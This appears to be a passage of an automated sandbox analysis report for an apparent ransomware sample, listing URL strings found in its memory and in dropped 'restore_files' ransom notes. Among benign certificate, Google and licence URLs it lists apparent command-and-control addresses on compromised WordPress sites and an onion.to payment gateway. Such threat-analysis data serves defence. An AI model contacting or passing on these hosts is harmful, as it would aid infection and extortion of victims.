Source: svcmtr.exe, 00000002.00000003.754010566.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.740190996.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: svcmtr.exe, 00000002.00000003.408228286.00000000038A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://errors.angularjs.org/1.6.4-local
Source: svcmtr.exe, 00000002.00000003.526806159.00000000006ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ezglobalmarketing.com/wp-content/themes/r.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C9188
Source: svcmtr.exe, 00000002.00000003.526806159.00000000006ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fgainterests.com/wp-content/themes/r.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496
Source: 0t8amSU3vd.exe, svcmtr.exe, svcmtr.exe, 00000002.00000002.875689270.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.00000000006D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io/ip
Source: svcmtr.exe, 00000002.00000002.876613547.00000000036F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ledshoppen.nl/wp-content/themes/r.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD9
Source: svcmtr.exe, 00000002.00000003.753219048.000000000371C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: svcmtr.exe, 00000002.00000003.754010566.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.740190996.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.876613547.00000000036F0000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: svcmtr.exe, 00000002.00000003.754010566.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.740190996.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: svcmtr.exe, 00000002.00000002.876613547.00000000036F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: svcmtr.exe, 00000002.00000003.754010566.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.740190996.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: svcmtr.exe, 00000002.00000003.754010566.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.740190996.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: svcmtr.exe, 00000002.00000003.754010566.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.740190996.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.876613547.00000000036F0000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: svcmtr.exe, 00000002.00000003.754010566.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.740190996.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: svcmtr.exe, 00000002.00000003.753072751.0000000003733000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oss.oracle.com/projects/gstreamer-mods/
Source: svcmtr.exe, 00000002.00000003.753072751.0000000003733000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oss.oracle.com/projects/webkit-java-mods/
Source: svcmtr.exe, 00000002.00000003.753219048.000000000371C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://relaxngcc.sf.net/).
Source: svcmtr.exe, 00000002.00000003.753072751.0000000003733000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://search.msn.com/docs/siteowner.aspx.
Source: svcmtr.exe, 00000002.00000003.754010566.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.00000000006ED000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.740190996.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.00000000006ED000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.00000000006ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://serenitynowbooksandgifts.com/wp-content/themes/r.php?D0B1745184D4B19325F8CA239D78E804ABD3496A
Source: svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shmetterheath.ru/wp-content/themes/r.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496
Source: svcmtr.exe, 00000002.00000003.753219048.000000000371C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tartarus.org/~martin/PorterStemmer
Source: svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://teenpornotube.org/wp-content/themes/r.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C91884649
Source: svcmtr.exe, 00000002.00000003.454330167.0000000002980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc1950
Source: svcmtr.exe, 00000002.00000003.753219048.000000000371C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://upx.sourceforge.net/upx-license.html.
Source: svcmtr.exe, 00000002.00000003.753219048.000000000371C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://upx.tsx.org
Source: svcmtr.exe, 00000002.00000003.753219048.000000000371C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wildsau.idv.uni-linz.ac.at/mfx/upx.html
Source: svcmtr.exe, 00000002.00000003.753072751.0000000003733000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.753219048.000000000371C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/
Source: svcmtr.exe, 00000002.00000003.753072751.0000000003733000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.753219048.000000000371C000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.454330167.0000000002980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: svcmtr.exe, 00000002.00000003.754010566.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.740190996.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: svcmtr.exe, 00000002.00000003.754010566.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.740190996.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: svcmtr.exe, 00000002.00000003.753219048.000000000371C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ecma-international.org
Source: svcmtr.exe, 00000002.00000003.753219048.000000000371C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ecma-international.org/memento/codeofconduct.htm
Source: svcmtr.exe, 00000002.00000003.454330167.0000000002980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ietf.org/id/draft-holmer-rmcat-transport-wide-cc-extensions
Source: svcmtr.exe, 00000002.00000003.454330167.0000000002980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ietf.org/id/draft-holmer-rmcat-transport-wide-cc-extensions-01
Source: svcmtr.exe, 00000002.00000003.753219048.000000000371C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.linuxnet.com
Source: svcmtr.exe, 00000002.00000003.753123088.0000000003791000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.753072751.0000000003790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2004/em-rdf#
Source: svcmtr.exe, 00000002.00000003.753219048.000000000371C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.nexus.hu/upx
Source: svcmtr.exe, 00000002.00000003.753219048.000000000371C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sgi.com/software/opensource/cid/license.html
Source: svcmtr.exe, 00000002.00000003.753219048.000000000371C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sgi.com/software/opensource/glx/license.html.
Source: svcmtr.exe, 00000002.00000002.876613547.00000000036F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.teenpornotube.org/wp-content/themes/r.php
Source: svcmtr.exe, 00000002.00000003.754010566.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.740190996.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.teenpornotube.org/wp-content/themes/r.phpa
Source: svcmtr.exe, 00000002.00000003.754010566.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.740190996.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.teenpornotube.org/wp-content/themes/r.phpp
Source: 0t8amSU3vd.exe, 00000000.00000002.345355219.0000000000431000.00000002.00000001.01000000.00000003.sdmp, 0t8amSU3vd.exe, 00000000.00000002.345370025.0000000000520000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875409973.0000000000240000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875592110.0000000000431000.00000002.00000001.01000000.00000005.sdmp, svcmtr.exe, 00000002.00000002.875613471.00000000004BC000.00000004.00000001.01000000.00000005.sdmp, svcmtr.exe, 0000000B.00000002.370984556.0000000000431000.00000002.00000001.01000000.00000005.sdmp, svcmtr.exe, 0000000B.00000002.370940853.0000000000260000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 0000000C.00000002.387290975.00000000002C0000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 0000000C.00000002.387316507.0000000000431000.00000002.00000001.01000000.00000005.sdmp, svcmtr.exe, 0000000D.00000002.406412332.0000000000240000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 0000000D.00000002.406449433.0000000000431000.00000002.00000001.01000000.00000005.sdmp, notepad.exe, 00000015.00000002.875324829.000000000017E000.00000004.00000020.00020000.00000000.sdmp, restore_files_gpmus.txt48.2.dr, restore_files_gpmus.txt112.2.dr, restore_files_gpmus.txt293.2.dr, restore_files_gpmus.txt119.2.dr, restore_files_gpmus.txt382.2.dr, restore_files_gpmus.txt411.2.dr, restore_files_gpmus.txt327.2.dr, restore_files_gpmus.txt376.2.dr, restore_files_gpmus.txt155.2.dr	String found in binary or memory: http://www.torproject.org/projects/torbrowser.html.en
Source: svcmtr.exe, 00000002.00000003.753219048.000000000371C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.unicode.org/Public/
Source: svcmtr.exe, 00000002.00000003.753219048.000000000371C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.unicode.org/Public/.
Source: svcmtr.exe, 00000002.00000003.753219048.000000000371C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.unicode.org/cldr/data/.
Source: svcmtr.exe, 00000002.00000003.753219048.000000000371C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.unicode.org/copyright.html.
Source: svcmtr.exe, 00000002.00000003.753219048.000000000371C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.unicode.org/reports/
Source: svcmtr.exe, 00000002.00000003.753219048.000000000371C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.xfree86.org/)
Source: svcmtr.exe, 00000002.00000003.407162065.00000000036F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/MergeSession
Source: svcmtr.exe, 00000002.00000003.422925708.00000000039A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com/js/client.js
Source: svcmtr.exe, 00000002.00000003.422925708.00000000039A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://castedumessaging-pa.googleapis.com/v1
Source: svcmtr.exe, 00000002.00000003.454330167.0000000002980000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.454213714.0000000003751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: svcmtr.exe, 00000002.00000003.454330167.0000000002980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clients6.google.com
Source: svcmtr.exe, 00000002.00000003.454213714.0000000003751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crash.corp.google.com/samples?reportid=&q=
Source: svcmtr.exe, 00000002.00000003.402410787.00000000006FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://creativecommons.org/.
Source: svcmtr.exe, 00000002.00000003.454330167.0000000002980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://creativecommons.org/publicdomain/zero/1.0/.
Source: svcmtr.exe, 00000002.00000003.526806159.00000000006ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/simple-storage
Source: svcmtr.exe, 00000002.00000003.526806159.00000000006D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/SDK/Tutorials/Creating_event_targets
Source: svcmtr.exe, 00000002.00000003.422925708.00000000039A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com
Source: svcmtr.exe, 00000002.00000003.408228286.00000000038A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/angular/material
Source: svcmtr.exe, 00000002.00000003.407162065.00000000036F1000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.407092366.0000000002980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p
Source: svcmtr.exe, 00000002.00000003.454330167.0000000002980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/madler/zlib/blob/master/zlib.h
Source: svcmtr.exe, 00000002.00000003.454330167.0000000002980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hangouts.clients6.google.com
Source: svcmtr.exe, 00000002.00000003.454330167.0000000002980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hangouts.google.com/hangouts/_/logpref
Source: svcmtr.exe, 00000002.00000003.422925708.00000000039A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://meet.google.com
Source: svcmtr.exe, 00000002.00000003.454330167.0000000002980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://meetings.clients6.google.com
Source: svcmtr.exe, 00000002.00000003.422925708.00000000039A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://networktraversal.googleapis.com/v1alpha
Source: svcmtr.exe, 00000002.00000003.407162065.00000000036F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js
Source: svcmtr.exe, 00000002.00000003.454330167.0000000002980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: svcmtr.exe, 00000002.00000003.454330167.0000000002980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://preprod-hangouts-googleapis.sandbox.google.com
Source: svcmtr.exe, 00000002.00000003.407162065.00000000036F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js
Source: svcmtr.exe, 00000002.00000003.754010566.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.740190996.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.876613547.00000000036F0000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: svcmtr.exe, 00000002.00000002.875689270.00000000006AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://serenitynowbooksandgifts.com/
Source: svcmtr.exe, 00000002.00000003.526806159.00000000006ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://serenitynowbooksandgifts.com/wp-content/themes/r.php?D0B1745184D4B19325F8CA239D78E804ABD3496
Source: svcmtr.exe, 00000002.00000003.407162065.00000000036F1000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.407092366.0000000002980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www-googleapis-staging.sandbox.google.com
Source: svcmtr.exe, 00000002.00000003.407162065.00000000036F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/accounts/OAuthLogin?issueuberauth=1
Source: svcmtr.exe, 00000002.00000003.407162065.00000000036F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/cleardot.gif
Source: svcmtr.exe, 00000002.00000003.407162065.00000000036F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/dot2.gif
Source: svcmtr.exe, 00000002.00000003.407162065.00000000036F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/x2.gif
Source: svcmtr.exe, 00000002.00000003.407092366.0000000002980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en-US/chrome/blank.html
Source: svcmtr.exe, 00000002.00000003.454330167.0000000002980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/log?format=json&hasfast=true
Source: svcmtr.exe, 00000002.00000003.415718725.000000000371C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback
Source: svcmtr.exe, 00000002.00000003.407162065.00000000036F1000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.407092366.0000000002980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com
Source: svcmtr.exe, 00000002.00000003.422925708.00000000039A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/calendar/v3
Source: svcmtr.exe, 00000002.00000003.422925708.00000000039A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/hangouts/v1
Source: svcmtr.exe, 00000002.00000003.516398200.00000000006ED000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.00000000006ED000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.00000000006ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.serenitynowbooksandgifts.com/
Source: svcmtr.exe, 00000002.00000003.754010566.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.00000000006ED000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.740190996.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.00000000006ED000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.00000000006ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.serenitynowbooksandgifts.com/wp-content/themes/r.php?D0B1745184D4B19325F8CA239D78E804ABD
Source: 0t8amSU3vd.exe, 00000000.00000002.345355219.0000000000431000.00000002.00000001.01000000.00000003.sdmp, 0t8amSU3vd.exe, 00000000.00000002.345370025.0000000000520000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875409973.0000000000240000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875592110.0000000000431000.00000002.00000001.01000000.00000005.sdmp, svcmtr.exe, 0000000B.00000002.370984556.0000000000431000.00000002.00000001.01000000.00000005.sdmp, svcmtr.exe, 0000000B.00000002.370940853.0000000000260000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 0000000C.00000002.387290975.00000000002C0000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 0000000C.00000002.387316507.0000000000431000.00000002.00000001.01000000.00000005.sdmp, svcmtr.exe, 0000000D.00000002.406412332.0000000000240000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 0000000D.00000002.406449433.0000000000431000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to
Source: svcmtr.exe, 00000002.00000002.876613547.00000000036F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/
Source: 0t8amSU3vd.exe, 00000000.00000002.345355219.0000000000431000.00000002.00000001.01000000.00000003.sdmp, 0t8amSU3vd.exe, 00000000.00000002.345370025.0000000000520000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875409973.0000000000240000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875592110.0000000000431000.00000002.00000001.01000000.00000005.sdmp, svcmtr.exe, 0000000B.00000002.370984556.0000000000431000.00000002.00000001.01000000.00000005.sdmp, svcmtr.exe, 0000000B.00000002.370940853.0000000000260000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 0000000C.00000002.387290975.00000000002C0000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 0000000C.00000002.387316507.0000000000431000.00000002.00000001.01000000.00000005.sdmp, svcmtr.exe, 0000000D.00000002.406412332.0000000000240000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 0000000D.00000002.406449433.0000000000431000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/%S
Source: svcmtr.exe, 00000002.00000002.876613547.00000000036F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/Bm
Source: svcmtr.exe, 00000002.00000002.875613471.00000000004BC000.00000004.00000001.01000000.00000005.sdmp, notepad.exe, 00000015.00000002.875324829.000000000017E000.00000004.00000020.00020000.00000000.sdmp, restore_files_gpmus.txt48.2.dr, restore_files_gpmus.txt112.2.dr, restore_files_gpmus.txt293.2.dr, restore_files_gpmus.txt119.2.dr, restore_files_gpmus.txt382.2.dr, restore_files_gpmus.txt411.2.dr, restore_files_gpmus.txt327.2.dr, restore_files_gpmus.txt376.2.dr, restore_files_gpmus.txt155.2.dr, restore_files_gpmus.txt379.2.dr, restore_files_gpmus.txt404.2.dr, restore_files_gpmus.txt303.2.dr, restore_files_gpmus.txt133.2.dr, restore_files_gpmus.txt146.2.dr, restore_files_gpmus.txt174.2.dr, restore_files_gpmus.txt292.2.dr, restore_files_gpmus.txt181.2.dr, restore_files_gpmus.txt402.2.dr, restore_files_gpmus.txt397.2.dr	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: svcmtr.exe, 00000002.00000003.762757058.0000000003750000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.755159581.0000000003750000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.767533797.0000000003750000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.671880034.0000000003750000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.766203672.0000000003750000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.761900567.0000000003750000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.772593472.0000000003750000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.763661219.0000000003750000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.660754432.0000000003750000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.754010566.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.740190996.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.765866382.0000000003750000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.764581660.0000000003750000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.763893449.0000000003750000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.771267902.0000000003750000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.660454927.0000000003733000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.765633512.0000000003750000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.762361432.0000000003750000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.770304239.0000000003750000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.466108647.0000000003750000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.773528671.0000000003750000.00000004.00000020.00020000.00000000.sdmp	